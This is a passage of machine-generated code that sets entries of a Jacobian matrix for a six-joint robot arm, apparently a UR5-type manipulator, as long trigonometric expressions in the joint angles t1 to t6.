0.094649999999999998023803016167221*cos(t1)*sin(t2)*sin(t3)*sin(t4) - 0.0823*cos(t1)*cos(t2)*cos(t3)*cos(t4)*sin(t5) + 0.0823*cos(t1)*cos(t2)*sin(t3)*sin(t4)*sin(t5) + 0.0823*cos(t1)*cos(t3)*sin(t2)*sin(t4)*sin(t5) + 0.0823*cos(t1)*cos(t4)*sin(t2)*sin(t3)*sin(t5))) + sin(t2 + t3 + t4)*cos(t1)*((sin(t6)*(cos(t1)*sin(t5) - 1.0*cos(t2 + t3 + t4)*cos(t5)*sin(t1)) - 1.0*sin(t2 + t3 + t4)*cos(t6)*sin(t1))*(0.094649999999999998023803016167221*cos(t2 + t3 + t4) - 0.04115*cos(t2 + t3 + t4 + t5) + 0.04115*cos(t2 + t3 + t4 - 1.0*t5) + 0.39225*sin(t2 + t3) + 0.425*sin(t2) - 0.089159000000000002139621813057602) - 1.0*(cos(t2 + t3 + t4)*cos(t6) - 1.0*sin(t2 + t3 + t4)*cos(t5)*sin(t6))*(0.39225*sin(t1)*sin(t2)*sin(t3) - 0.0823*cos(t1)*cos(t5) - 0.425*cos(t2)*sin(t1) - 0.10915*cos(t1) - 0.39225*cos(t2)*cos(t3)*sin(t1) + 0.094649999999999998023803016167221*cos(t2)*cos(t3)*sin(t1)*sin(t4) + 0.094649999999999998023803016167221*cos(t2)*cos(t4)*sin(t1)*sin(t3) + 0.094649999999999998023803016167221*cos(t3)*cos(t4)*sin(t1)*sin(t2) - 0.094649999999999998023803016167221*sin(t1)*sin(t2)*sin(t3)*sin(t4) - 0.0823*cos(t2)*cos(t3)*cos(t4)*sin(t1)*sin(t5) + 0.0823*cos(t2)*sin(t1)*sin(t3)*sin(t4)*sin(t5) + 0.0823*cos(t3)*sin(t1)*sin(t2)*sin(t4)*sin(t5) + 0.0823*cos(t4)*sin(t1)*sin(t2)*sin(t3)*sin(t5)))
J[1][5] = (sin(t6)*(cos(t1)*sin(t5) - 1.0*cos(t2 + t3 + t4)*cos(t5)*sin(t1)) - 1.0*sin(t2 + t3 + t4)*cos(t6)*sin(t1))*(0.094649999999999998023803016167221*cos(t1)*sin(t5) + 0.089159000000000002139621813057602*cos(t5)*sin(t1) - 0.425*cos(t5)*sin(t1)*sin(t2) - 0.39225*cos(t1)*sin(t4)*sin(t5) - 0.39225*cos(t2)*cos(t5)*sin(t1)*sin(t3) - 0.39225*cos(t3)*cos(t5)*sin(t1)*sin(t2) - 0.425*cos(t1)*cos(t3)*sin(t4)*sin(t5) - 0.425*cos(t1)*cos(t4)*sin(t3)*sin(t5) - 0.089159000000000002139621813057602*cos(t1)*cos(t2)*cos(t3)*cos(t4)*sin(t5) - 0.094649999999999998023803016167221*cos(t2)*cos(t3)*cos(t4)*cos(t5)*sin(t1) + 0.089159000000000002139621813057602*cos(t1)*cos(t2)*sin(t3)*sin(t4)*sin(t5) + 0.089159000000000002139621813057602*cos(t1)*cos(t3)*sin(t2)*sin(t4)*sin(t5) + 0.089159000000000002139621813057602*cos(t1)*cos(t4)*sin(t2)*sin(t3)*sin(t5) + 0.10915*cos(t2)*cos(t3)*sin(t1)*sin(t4)*sin(t5) + 0.10915*cos(t2)*cos(t4)*sin(t1)*sin(t3)*sin(t5) + 0.094649999999999998023803016167221*cos(t2)*cos(t5)*sin(t1)*sin(t3)*sin(t4) + 0.10915*cos(t3)*cos(t4)*sin(t1)*sin(t2)*sin(t5) + 0.094649999999999998023803016167221*cos(t3)*cos(t5)*sin(t1)*sin(t2)*sin(t4) + 0.094649999999999998023803016167221*cos(t4)*cos(t5)*sin(t1)*sin(t2)*sin(t3) - 0.10915*sin(t1)*sin(t2)*sin(t3)*sin(t4)*sin(t5)) + (cos(t5)*sin(t1) - 1.0*cos(t2 + t3 + t4)*cos(t1)*sin(t5))*((sin(t6)*(cos(t1)*sin(t5) - 1.0*cos(t2 + t3 + t4)*cos(t5)*sin(t1)) - 1.0*sin(t2 + t3 + t4)*cos(t6)*sin(t1))*(0.094649999999999998023803016167221*cos(t2 + t3 + t4) - 0.04115*cos(t2 + t3 + t4 + t5) + 0.04115*cos(t2 + t3 + t4 - 1.0*t5) + 0.39225*sin(t2 + t3) + 0.425*sin(t2) - 0.089159000000000002139621813057602) - 1.0*(cos(t2 + t3 + t4)*cos(t6) - 1.0*sin(t2 + t3 + t4)*cos(t5)*sin(t6))*(0.39225*sin(t1)*sin(t2)*sin(t3) - 0.0823*cos(t1)*cos(t5) - 0.425*cos(t2)*sin(t1) - 0.10915*cos(t1) - 0.39225*cos(t2)*cos(t3)*sin(t1) + 0.094649999999999998023803016167221*cos(t2)*cos(t3)*sin(t1)*sin(t4) + 0.094649999999999998023803016167221*cos(t2)*cos(t4)*sin(t1)*sin(t3) + 0.094649999999999998023803016167221*cos(t3)*cos(t4)*sin(t1)*sin(t2) - 0.094649999999999998023803016167221*sin(t1)*sin(t2)*sin(t3)*sin(t4) - 0.0823*cos(t2)*cos(t3)*cos(t4)*sin(t1)*sin(t5) + 0.0823*cos(t2)*sin(t1)*sin(t3)*sin(t4)*sin(t5) + 0.0823*cos(t3)*sin(t1)*sin(t2)*sin(t4)*sin(t5) + 0.0823*cos(t4)*sin(t1)*sin(t2)*sin(t3)*sin(t5))) + (cos(t2 + t3 + t4)*cos(t6) - 1.0*sin(t2 + t3 + t4)*cos(t5)*sin(t6))*(0.196125*cos(t2 + t3 + t5) + 0.196125*cos(t2 + t3 - 1.0*t5) - 0.10189999999999999901190150808361*sin(t2 + t3 + t4 + t5) + 0.2125*cos(t2 + t5) + 0.0072500000000000009880984919163893*sin(t2 + t3 + t4 - 1.0*t5) + 0.2125*cos(t2 - 1.0*t5)) - (1.0*(sin(t6)*(sin(t1)*sin(t5) + cos(t2 + t3 + t4)*cos(t1)*cos(t5)) + sin(t2 + t3 + t4)*cos(t1)*cos(t6))*(0.094649999999999998023803016167221*cos(t2 + t3 + t4) - 0.04115*cos(t2 + t3 + t4 + t5) + 0.04115*cos(t2 + t3 + t4 - 1.0*t5) + 0.39225*sin(t2 + t3) + 0.425*sin(t2) - 0.089159000000000002139621813057602) - (cos(t2 + t3 + t4)*cos(t6) - 1.0*sin(t2 + t3 + t4)*cos(t5)*sin(t6))*(0.10915*sin(t1) - 0.425*cos(t1)*cos(t2) + 0.0823*cos(t5)*sin(t1) + 0.39225*cos(t1)*sin(t2)*sin(t3) - 0.39225*cos(t1)*cos(t2)*cos(t3) + 0.094649999999999998023803016167221*cos(t1)*cos(t2)*cos(t3)*sin(t4) + 0.094649999999999998023803016167221*cos(t1)*cos(t2)*cos(t4)*sin(t3) + 0.094649999999999998023803016167221*cos(t1)*cos(t3)*cos(t4)*sin(t2) - 0.094649999999999998023803016167221*cos(t1)*sin(t2)*sin(t3)*sin(t4) - 0.0823*cos(t1)*cos(t2)*cos(t3)*cos(t4)*sin(t5) + 0.0823*cos(t1)*cos(t2)*sin(t3)*sin(t4)*sin(t5) + 0.0823*cos(t1)*cos(t3)*sin(t2)*sin(t4)*sin(t5) + 0.0823*cos(t1)*cos(t4)*sin(t2)*sin(t3)*sin(t5)))*(cos(t1)*cos(t5) + cos(t2 + t3 + t4)*sin(t1)*sin(t5)) - 1.0*(sin(t6)*(sin(t1)*sin(t5) + cos(t2 + t3 + t4)*cos(t1)*cos(t5)) + sin(t2 + t3 + t4)*cos(t1)*cos(t6))*(0.089159000000000002139621813057602*cos(t1)*cos(t5) - 0.094649999999999998023803016167221*sin(t1)*sin(t5) + 0.39225*sin(t1)*sin(t4)*sin(t5) - 0.425*cos(t1)*cos(t5)*sin(t2) - 0.39225*cos(t1)*cos(t2)*cos(t5)*sin(t3) - 0.39225*cos(t1)*cos(t3)*cos(t5)*sin(t2) + 0.425*cos(t3)*sin(t1)*sin(t4)*sin(t5) + 0.425*cos(t4)*sin(t1)*sin(t3)*sin(t5) - 0.094649999999999998023803016167221*cos(t1)*cos(t2)*cos(t3)*cos(t4)*cos(t5) + 0.10915*cos(t1)*cos(t2)*cos(t3)*sin(t4)*sin(t5) + 0.10915*cos(t1)*cos(t2)*cos(t4)*sin(t3)*sin(t5) + 0.094649999999999998023803016167221*cos(t1)*cos(t2)*cos(t5)*sin(t3)*sin(t4) + 0.10915*cos(t1)*cos(t3)*cos(t4)*sin(t2)*sin(t5) + 0.094649999999999998023803016167221*cos(t1)*cos(t3)*cos(t5)*sin(t2)*sin(t4) + 0.094649999999999998023803016167221*cos(t1)*cos(t4)*cos(t5)*sin(t2)*sin(t3) + 0.089159000000000002139621813057602*cos(t2)*cos(t3)*cos(t4)*sin(t1)*sin(t5) - 0.10915*cos(t1)*sin(t2)*sin(t3)*sin(t4)*sin(t5) - 0.089159000000000002139621813057602*cos(t2)*sin(t1)*sin(t3)*sin(t4)*sin(t5) - 0.089159000000000002139621813057602*cos(t3)*sin(t1)*sin(t2)*sin(t4)*sin(t5) - 0.089159000000000002139621813057602*cos(t4)*sin(t1)*sin(t2)*sin(t3)*sin(t5)) + sin(t2 + t3 + t4)*sin(t5)*(0.071524999999999999505950754041805*sin(t2 + t3 + t4 + t5 + t6) - 0.10625*cos(t2 + t5 + t6) - 0.030374999999999999505950754041805*sin(t2 + t3 + t4 + t5 - 1.0*t6) + 0.024200000000000000494049245958195*sin(t2 + t3 + t4 - 1.0*t5 + t6) + 0.10625*cos(t2 + t5 - 1.0*t6) + 0.10625*cos(t2 - 1.0*t5 + t6) + 0.016949999999999999505950754041805*sin(t2 + t3 + t4 - 1.0*t5 - 1.0*t6) - 0.10625*cos(t2 - 1.0*t5 - 1.0*t6) - 0.0980625*cos(t2 + t3 + t5 + t6) + 0.095725*sin(t2 + t3 + t4 + t6) + 0.0980625*cos(t2 + t3 + t5 - 1.0*t6) + 0.0980625*cos(t2 + t3 - 1.0*t5 + t6) + 0.013425*sin(t2 + t3 + t4 - 1.0*t6) - 0.0980625*cos(t2 + t3 - 1.0*t5 - 1.0*t6))
J[2][0] = 0.196125*cos(t2 + t3 + t5) + 0.196125*cos(t2 + t3 - 1.0*t5) - 0.10189999999999999901190150808361*sin(t2 + t3 + t4 + t5) + 0.2125*cos(t2 + t5) + 0.0072500000000000009880984919163893*sin(t2 + t3 + t4 - 1.0*t5) + 0.2125*cos(t2 - 1.0*t5)
J[2][1] = cos(t1)*((cos(t5)*sin(t1) - 1.0*cos(t2 + t3 + t4)*cos(t1)*sin(t5))*(0.094649999999999998023803016167221*cos(t2 + t3 + t4) - 0.04115*cos(t2 + t3 + t4 + t5) + 0.04115*cos(t2 + t3 + t4 - 1.0*t5) + 0.39225*sin(t2 + t3) + 0.425*sin(t2) - 0.089159000000000002139621813057602) - 1.0*sin(t2 + t3 + t4)*sin(t5)*(0.10915*sin(t1) - 0.425*cos(t1)*cos(t2) + 0.0823*cos(t5)*sin(t1) + 0.39225*cos(t1)*sin(t2)*sin(t3) - 0.39225*cos(t1)*cos(t2)*cos(t3) + 0.094649999999999998023803016167221*cos(t1)*cos(t2)*cos(t3)*sin(t4) + 0.094649999999999998023803016167221*cos(t1)*cos(t2)*cos(t4)*sin(t3) + 0.094649999999999998023803016167221*cos(t1)*cos(t3)*cos(t4)*sin(t2) - 0.094649999999999998023803016167221*cos(t1)*sin(t2)*sin(t3)*sin(t4) - 0.0823*cos(t1)*cos(t2)*cos(t3)*cos(t4)*sin(t5) + 0.0823*cos(t1)*cos(t2)*sin(t3)*sin(t4)*sin(t5) + 0.0823*cos(t1)*cos(t3)*sin(t2)*sin(t4)*sin(t5) + 0.0823*cos(t1)*cos(t4)*sin(t2)*sin(t3)*sin(t5))) - 0.089159000000000002139621813057602*sin(t1)*(cos(t1)*cos(t5) + cos(t2 + t3 + t4)*sin(t1)*sin(t5)) + 0.089159000000000002139621813057602*cos(t1)*(cos(t5)*sin(t1) - 1.0*cos(t2 + t3 + t4)*cos(t1)*sin(t5)) - 1.0*sin(t1)*((cos(t1)*cos(t5) + cos(t2 + t3 + t4)*sin(t1)*sin(t5))*(0.094649999999999998023803016167221*cos(t2 + t3 + t4) - 0.04115*cos(t2 + t3 + t4 + t5) + 0.04115*cos(t2 + t3 + t4 - 1.0*t5) + 0.39225*sin(t2 + t3) + 0.425*sin(t2) - 0.089159000000000002139621813057602) - 1.0*sin(t2 + t3 + t4)*sin(t5)*(0.39225*sin(t1)*sin(t2)*sin(t3) - 0.0823*cos(t1)*cos(t5) - 0.425*cos(t2)*sin(t1) - 0.10915*cos(t1) - 0.39225*cos(t2)*cos(t3)*sin(t1) + 0.094649999999999998023803016167221*cos(t2)*cos(t3)*sin(t1)*sin(t4) + 0.094649999999999998023803016167221*cos(t2)*cos(t4)*sin(t1)*sin(t3) + 0.094649999999999998023803016167221*cos(t3)*cos(t4)*sin(t1)*sin(t2) - 0.094649999999999998023803016167221*sin(t1)*sin(t2)*sin(t3)*sin(t4) - 0.0823*cos(t2)*cos(t3)*cos(t4)*sin(t1)*sin(t5) + 0.0823*cos(t2)*sin(t1)*sin(t3)*sin(t4)*sin(t5) + 0.0823*cos(t3)*sin(t1)*sin(t2)*sin(t4)*sin(t5) + 0.0823*cos(t4)*sin(t1)*sin(t2)*sin(t3)*sin(t5)))
J[2][2] = cos(t1)*((cos(t5)*sin(t1) - 1.0*cos(t2 + t3 + t4)*cos(t1)*sin(t5))*(0.094649999999999998023803016167221*cos(t2 + t3 + t4) - 0.04115*cos(t2 + t3 + t4 + t5) + 0.04115*cos(t2 + t3 + t4 - 1.0*t5) + 0.39225*sin(t2 + t3) + 0.425*sin(t2) - 0.089159000000000002139621813057602) - 1.0*sin(t2 + t3 + t4)*sin(t5)*(0.10915*sin(t1) - 0.425*cos(t1)*cos(t2) + 0.0823*cos(t5)*sin(t1) + 0.39225*cos(t1)*sin(t2)*sin(t3) - 0.39225*cos(t1)*cos(t2)*cos(t3) + 0.094649999999999998023803016167221*cos(t1)*cos(t2)*cos(t3)*sin(t4) + 0.094649999999999998023803016167221*cos(t1)*cos(t2)*cos(t4)*sin(t3) + 0.094649999999999998023803016167221*cos(t1)*cos(t3)*cos(t4)*sin(t2) - 0.094649999999999998023803016167221*cos(t1)*sin(t2)*sin(t3)*sin(t4) - 0.0823*cos(t1)*cos(t2)*cos(t3)*cos(t4)*sin(t5) + 0.0823*cos(t1)*cos(t2)*sin(t3)*sin(t4)*sin(t5) + 0.0823*cos(t1)*cos(t3)*sin(t2)*sin(t4)*sin(t5) + 0.0823*cos(t1)*cos(t4)*sin(t2)*sin(t3)*sin(t5))) - 1.0*sin(t1)*((cos(t1)*cos(t5) + cos(t2 + t3 + t4)*sin(t1)*sin(t5))*(0.094649999999999998023803016167221*cos(t2 + t3 + t4) - 0.04115*cos(t2 + t3 + t4 + t5) + 0.04115*cos(t2 + t3 + t4 - 1.0*t5) + 0.39225*sin(t2 + t3) + 0.425*sin(t2) - 0.089159000000000002139621813057602) - 1.0*sin(t2 + t3 + t4)*sin(t5)*(0.39225*sin(t1)*sin(t2)*sin(t3) - 0.0823*cos(t1)*cos(t5) - 0.425*cos(t2)*sin(t1) - 0.10915*cos(t1) - 0.39225*cos(t2)*cos(t3)*sin(t1) + 0.094649999999999998023803016167221*cos(t2)*cos(t3)*sin(t1)*sin(t4) + 0.094649999999999998023803016167221*cos(t2)*cos(t4)*sin(t1)*sin(t3) + 0.094649999999999998023803016167221*cos(t3)*cos(t4)*sin(t1)*sin(t2) - 0.094649999999999998023803016167221*sin(t1)*sin(t2)*sin(t3)*sin(t4) - 0.0823*cos(t2)*cos(t3)*cos(t4)*sin(t1)*sin(t5) + 0.0823*cos(t2)*sin(t1)*sin(t3)*sin(t4)*sin(t5) + 0.0823*cos(t3)*sin(t1)*sin(t2)*sin(t4)*sin(t5) + 0.0823*cos(t4)*sin(t1)*sin(t2)*sin(t3)*sin(t5))) - 0.0000000000000000027755575615628913510590791702271*cos(t1)*(153122387330596864.0*sin(t2) - 32122915134138085.0)*(cos(t5)*sin(t1) - 1.0*cos(t2 + t3 + t4)*cos(t1)*sin(t5)) - 0.425*sin(t2 + t3 + t4)*cos(t2)*sin(t5) + 0.0000000000000000027755575615628913510590791702271*sin(t1)*(153122387330596864.0*sin(t2) - 32122915134138085.0)*(cos(t1)*cos(t5) + cos(t2 + t3 + t4)*sin(t1)*sin(t5))
J[2][3] = cos(t1)*((cos(t5)*sin(t1) - 1.0*cos(t2 + t3 + t4)*cos(t1)*sin(t5))*(0.094649999999999998023803016167221*cos(t2 + t3 + t4) - 0.04115*cos(t2 + t3 + t4 + t5) + 0.04115*cos(t2 + t3 + t4 - 1.0*t5) + 0.39225*sin(t2 + t3) + 0.425*sin(t2) - 0.089159000000000002139621813057602) - 1.0*sin(t2 + t3 + t4)*sin(t5)*(0.10915*sin(t1) - 0.425*cos(t1)*cos(t2) + 0.0823*cos(t5)*sin(t1) + 0.39225*cos(t1)*sin(t2)*sin(t3) - 0.39225*cos(t1)*cos(t2)*cos(t3) + 0.094649999999999998023803016167221*cos(t1)*cos(t2)*cos(t3)*sin(t4) + 0.094649999999999998023803016167221*cos(t1)*cos(t2)*cos(t4)*sin(t3) + 0.094649999999999998023803016167221*cos(t1)*cos(t3)*cos(t4)*sin(t2) - 0.094649999999999998023803016167221*cos(t1)*sin(t2)*sin(t3)*sin(t4) - 0.0823*cos(t1)*cos(t2)*cos(t3)*cos(t4)*sin(t5) + 0.0823*cos(t1)*cos(t2)*sin(t3)*sin(t4)*sin(t5) + 0.0823*cos(t1)*cos(t3)*sin(t2)*sin(t4)*sin(t5) + 0.0823*cos(t1)*cos(t4)*sin(t2)*sin(t3)*sin(t5))) - 1.0*sin(t1)*((cos(t1)*cos(t5) + cos(t2 + t3 + t4)*sin(t1)*sin(t5))*(0.094649999999999998023803016167221*cos(t2 + t3 + t4) - 0.04115*cos(t2 + t3 + t4 + t5) + 0.04115*cos(t2 + t3 + t4 - 1.0*t5) + 0.39225*sin(t2 + t3) + 0.425*sin(t2) - 0.089159000000000002139621813057602) - 1.0*sin(t2 + t3 + t4)*sin(t5)*(0.39225*sin(t1)*sin(t2)*sin(t3) - 0.0823*cos(t1)*cos(t5) - 0.425*cos(t2)*sin(t1) - 0.10915*cos(t1) - 0.39225*cos(t2)*cos(t3)*sin(t1) + 0.094649999999999998023803016167221*cos(t2)*cos(t3)*sin(t1)*sin(t4) + 0.094649999999999998023803016167221*cos(t2)*cos(t4)*sin(t1)*sin(t3) + 0.094649999999999998023803016167221*cos(t3)*cos(t4)*sin(t1)*sin(t2) - 0.094649999999999998023803016167221*sin(t1)*sin(t2)*sin(t3)*sin(t4) - 0.0823*cos(t2)*cos(t3)*cos(t4)*sin(t1)*sin(t5) + 0.0823*cos(t2)*sin(t1)*sin(t3)*sin(t4)*sin(t5) + 0.0823*cos(t3)*sin(t1)*sin(t2)*sin(t4)*sin(t5) + 0.0823*cos(t4)*sin(t1)*sin(t2)*sin(t3)*sin(t5))) + 0.00000000000000000011102230246251565404236316680908*sin(t1)*(cos(t1)*cos(t5) + cos(t2 + t3 + t4)*sin(t1)*sin(t5))*(3533073907672154112.0*sin(t2 + t3) + 3828059683264921600.0*sin(t2) - 803072878353452125.0) - 0.00000000000000000011102230246251565404236316680908*cos(t1)*(cos(t5)*sin(t1) - 1.0*cos(t2 + t3 + t4)*cos(t1)*sin(t5))*(3533073907672154112.0*sin(t2 + t3) + 3828059683264921600.0*sin(t2) - 803072878353452125.0) - 1.0*sin(t2 + t3 + t4)*sin(t5)*(0.39225*cos(t2 + t3) + 0.425*cos(t2))
J[2][4] = (cos(t1)*cos(t5) + cos(t2 + t3 + t4)*sin(t1)*sin(t5))*(0.2125*cos(t1 + t3 + t4) - 0.0099954999999999989301890934711992*sin(t1 - 1.0*t2 - 1.0*t3 - 1.0*t4) + 0.2125*cos(t1 - 1.0*t3 - 1.0*t4) - 0.099154500000000001069810906528801*sin(t1 + t2 + t3 + t4) + 0.196125*cos(t1 + t4) + 0.196125*cos(t1 - 1.0*t4)) - 1.0*(cos(t6)*(cos(t6)*(sin(t1)*sin(t5) + cos(t2 + t3 + t4)*cos(t1)*cos(t5)) - 1.0*sin(t2 + t3 + t4)*cos(t1)*sin(t6))*(cos(t1)*cos(t5) + cos(t2 + t3 + t4)*sin(t1)*sin(t5)) - 1.0*(cos(t1)*sin(t5) - 1.0*cos(t2 + t3 + t4)*cos(t5)*sin(t1))*(cos(t5)*sin(t1) - 1.0*cos(t2 + t3 + t4)*cos(t1)*sin(t5)) + sin(t6)*(sin(t6)*(sin(t1)*sin(t5) + cos(t2 + t3 + t4)*cos(t1)*cos(t5)) + sin(t2 + t3 + t4)*cos(t1)*cos(t6))*(cos(t1)*cos(t5) + cos(t2 + t3 + t4)*sin(t1)*sin(t5)))*(0.196125*cos(t2 + t3 + t5) + 0.196125*cos(t2 + t3 - 1.0*t5) - 0.10189999999999999901190150808361*sin(t2 + t3 + t4 + t5) + 0.2125*cos(t2 + t5) + 0.0072500000000000009880984919163893*sin(t2 + t3 + t4 - 1.0*t5) + 0.2125*cos(t2 - 1.0*t5)) + (cos(t5)*sin(t1) - 1.0*cos(t2 + t3 + t4)*cos(t1)*sin(t5))*(0.2125*sin(t1 + t3 + t4) + 0.2125*sin(t1 - 1.0*t3 - 1.0*t4) + 0.099154500000000001069810906528801*cos(t1 + t2 + t3 + t4) + 0.196125*sin(t1 + t4) + 0.196125*sin(t1 - 1.0*t4) + 0.0099954999999999989301890934711992*cos(t1 - 1.0*t2 - 1.0*t3 - 1.0*t4)) - 0.10915*sin(t2 + t3 + t4)**2*sin(t5) - 1.0*sin(t2 + t3 + t4)*sin(t1)*((cos(t5)*sin(t1) - 1.0*cos(t2 + t3 + t4)*cos(t1)*sin(t5))*(0.094649999999999998023803016167221*cos(t2 + t3 + t4) - 0.04115*cos(t2 + t3 + t4 + t5) + 0.04115*cos(t2 + t3 + t4 - 1.0*t5) + 0.39225*sin(t2 + t3) + 0.425*sin(t2) - 0.089159000000000002139621813057602) - 1.0*sin(t2 + t3 + t4)*sin(t5)*(0.10915*sin(t1) - 0.425*cos(t1)*cos(t2) + 0.0823*cos(t5)*sin(t1) + 0.39225*cos(t1)*sin(t2)*sin(t3) - 0.39225*cos(t1)*cos(t2)*cos(t3) + 0.094649999999999998023803016167221*cos(t1)*cos(t2)*cos(t3)*sin(t4) + 0.094649999999999998023803016167221*cos(t1)*cos(t2)*cos(t4)*sin(t3) + 0.094649999999999998023803016167221*cos(t1)*cos(t3)*cos(t4)*sin(t2) - 0.094649999999999998023803016167221*cos(t1)*sin(t2)*sin(t3)*sin(t4) - 0.0823*cos(t1)*cos(t2)*cos(t3)*cos(t4)*sin(t5) + 0.0823*cos(t1)*cos(t2)*sin(t3)*sin(t4)*sin(t5) + 0.0823*cos(t1)*cos(t3)*sin(t2)*sin(t4)*sin(t5) + 0.0823*cos(t1)*cos(t4)*sin(t2)*sin(t3)*sin(t5))) - 1.0*sin(t2 + t3 + t4)*cos(t1)*((cos(t1)*cos(t5) + cos(t2 + t3 + t4)*sin(t1)*sin(t5))*(0.094649999999999998023803016167221*cos(t2 + t3 + t4) - 0.04115*cos(t2 + t3 + t4 + t5) + 0.04115*cos(t2 + t3 + t4 - 1.0*t5) + 0.39225*sin(t2 + t3) + 0.425*sin(t2) - 0.089159000000000002139621813057602) - 1.0*sin(t2 + t3 + t4)*sin(t5)*(0.39225*sin(t1)*sin(t2)*sin(t3) - 0.0823*cos(t1)*cos(t5) - 0.425*cos(t2)*sin(t1) - 0.10915*cos(t1) - 0.39225*cos(t2)*cos(t3)*sin(t1) + 0.094649999999999998023803016167221*cos(t2)*cos(t3)*sin(t1)*sin(t4) + 0.094649999999999998023803016167221*cos(t2)*cos(t4)*sin(t1)*sin(t3) + 0.094649999999999998023803016167221*cos(t3)*cos(t4)*sin(t1)*sin(t2) - 0.094649999999999998023803016167221*sin(t1)*sin(t2)*sin(t3)*sin(t4) - 0.0823*cos(t2)*cos(t3)*cos(t4)*sin(t1)*sin(t5) + 0.0823*cos(t2)*sin(t1)*sin(t3)*sin(t4)*sin(t5) + 0.0823*cos(t3)*sin(t1)*sin(t2)*sin(t4)*sin(t5) + 0.0823*cos(t4)*sin(t1)*sin(t2)*sin(t3)*sin(t5)))
J[2][5] = ((cos(t5)*sin(t1) - 1.0*cos(t2 + t3 + t4)*cos(t1)*sin(t5))*(0.094649999999999998023803016167221*cos(t2 + t3 + t4) - 0.04115*cos(t2 + t3 + t4 + t5) + 0.04115*cos(t2 + t3 + t4 - 1.0*t5) + 0.39225*sin(t2 + t3) + 0.425*sin(t2) - 0.089159000000000002139621813057602) - 1.0*sin(t2 + t3 + t4)*sin(t5)*(0.10915*sin(t1) - 0.425*cos(t1)*cos(t2) + 0.0823*cos(t5)*sin(t1) + 0.39225*cos(t1)*sin(t2)*sin(t3) - 0.39225*cos(t1)*cos(t2)*cos(t3) + 0.094649999999999998023803016167221*cos(t1)*cos(t2)*cos(t3)*sin(t4) + 0.094649999999999998023803016167221*cos(t1)*cos(t2)*cos(t4)*sin(t3) + 0.094649999999999998023803016167221*cos(t1)*cos(t3)*cos(t4)*sin(t2) - 0.094649999999999998023803016167221*cos(t1)*sin(t2)*sin(t3)*sin(t4) - 0.0823*cos(t1)*cos(t2)*cos(t3)*cos(t4)*sin(t5) + 0.0823*cos(t1)*cos(t2)*sin(t3)*sin(t4)*sin(t5) + 0.0823*cos(t1)*cos(t3)*sin(t2)*sin(t4)*sin(t5) + 0.0823*cos(t1)*cos(t4)*sin(t2)*sin(t3)*sin(t5)))*(cos(t1)*cos(t5) + cos(t2 + t3 + t4)*sin(t1)*sin(t5)) - 1.0*(cos(t5)*sin(t1) - 1.0*cos(t2 + t3 + t4)*cos(t1)*sin(t5))*((cos(t1)*cos(t5) + cos(t2 + t3 + t4)*sin(t1)*sin(t5))*(0.094649999999999998023803016167221*cos(t2 + t3 + t4) - 0.04115*cos(t2 + t3 + t4 + t5) + 0.04115*cos(t2 + t3 + t4 - 1.0*t5) + 0.39225*sin(t2 + t3) + 0.425*sin(t2) - 0.089159000000000002139621813057602) - 1.0*sin(t2 + t3 + t4)*sin(t5)*(0.39225*sin(t1)*sin(t2)*sin(t3) - 0.0823*cos(t1)*cos(t5) - 0.425*cos(t2)*sin(t1) - 0.10915*cos(t1) - 0.39225*cos(t2)*cos(t3)*sin(t1) + 0.094649999999999998023803016167221*cos(t2)*cos(t3)*sin(t1)*sin(t4) + 0.094649999999999998023803016167221*cos(t2)*cos(t4)*sin(t1)*sin(t3) + 0.094649999999999998023803016167221*cos(t3)*cos(t4)*sin(t1)*sin(t2) - 0.094649999999999998023803016167221*sin(t1)*sin(t2)*sin(t3)*sin(t4) - 0.0823*cos(t2)*cos(t3)*cos(t4)*sin(t1)*sin(t5) + 0.0823*cos(t2)*sin(t1)*sin(t3)*sin(t4)*sin(t5) + 0.0823*cos(t3)*sin(t1)*sin(t2)*sin(t4)*sin(t5) + 0.0823*cos(t4)*sin(t1)*sin(t2)*sin(t3)*sin(t5))) + (cos(t5)*sin(t1) - 1.0*cos(t2 + t3 + t4)*cos(t1)*sin(t5))*(0.089159000000000002139621813057602*cos(t1)*cos(t5) - 0.094649999999999998023803016167221*sin(t1)*sin(t5) + 0.39225*sin(t1)*sin(t4)*sin(t5) - 0.425*cos(t1)*cos(t5)*sin(t2) - 0.39225*cos(t1)*cos(t2)*cos(t5)*sin(t3) - 0.39225*cos(t1)*cos(t3)*cos(t5)*sin(t2) + 0.425*cos(t3)*sin(t1)*sin(t4)*sin(t5) + 0.425*cos(t4)*sin(t1)*sin(t3)*sin(t5) - 0.094649999999999998023803016167221*cos(t1)*cos(t2)*cos(t3)*cos(t4)*cos(t5) + 0.10915*cos(t1)*cos(t2)*cos(t3)*sin(t4)*sin(t5) + 0.10915*cos(t1)*cos(t2)*cos(t4)*sin(t3)*sin(t5) + 0.094649999999999998023803016167221*cos(t1)*cos(t2)*cos(t5)*sin(t3)*sin(t4) + 0.10915*cos(t1)*cos(t3)*cos(t4)*sin(t2)*sin(t5) + 0.094649999999999998023803016167221*cos(t1)*cos(t3)*cos(t5)*sin(t2)*sin(t4) + 0.094649999999999998023803016167221*cos(t1)*cos(t4)*cos(t5)*sin(t2)*sin(t3) + 0.089159000000000002139621813057602*cos(t2)*cos(t3)*cos(t4)*sin(t1)*sin(t5) - 0.10915*cos(t1)*sin(t2)*sin(t3)*sin(t4)*sin(t5) - 0.089159000000000002139621813057602*cos(t2)*sin(t1)*sin(t3)*sin(t4)*sin(t5) - 0.089159000000000002139621813057602*cos(t3)*sin(t1)*sin(t2)*sin(t4)*sin(t5) - 0.089159000000000002139621813057602*cos(t4)*sin(t1)*sin(t2)*sin(t3)*sin(t5)) - 1.0*(cos(t1)*cos(t5) + cos(t2 + t3 + t4)*sin(t1)*sin(t5))*(0.094649999999999998023803016167221*cos(t1)*sin(t5) + 0.089159000000000002139621813057602*cos(t5)*sin(t1) - 0.425*cos(t5)*sin(t1)*sin(t2) - 0.39225*cos(t1)*sin(t4)*sin(t5) - 0.39225*cos(t2)*cos(t5)*sin(t1)*sin(t3) - 0.39225*cos(t3)*cos(t5)*sin(t1)*sin(t2) - 0.425*cos(t1)*cos(t3)*sin(t4)*sin(t5) - 0.425*cos(t1)*cos(t4)*sin(t3)*sin(t5) - 0.089159000000000002139621813057602*cos(t1)*cos(t2)*cos(t3)*cos(t4)*sin(t5) - 0.094649999999999998023803016167221*cos(t2)*cos(t3)*cos(t4)*cos(t5)*sin(t1) + 0.089159000000000002139621813057602*cos(t1)*cos(t2)*sin(t3)*sin(t4)*sin(t5) + 0.089159000000000002139621813057602*cos(t1)*cos(t3)*sin(t2)*sin(t4)*sin(t5) + 0.089159000000000002139621813057602*cos(t1)*cos(t4)*sin(t2)*sin(t3)*sin(t5) + 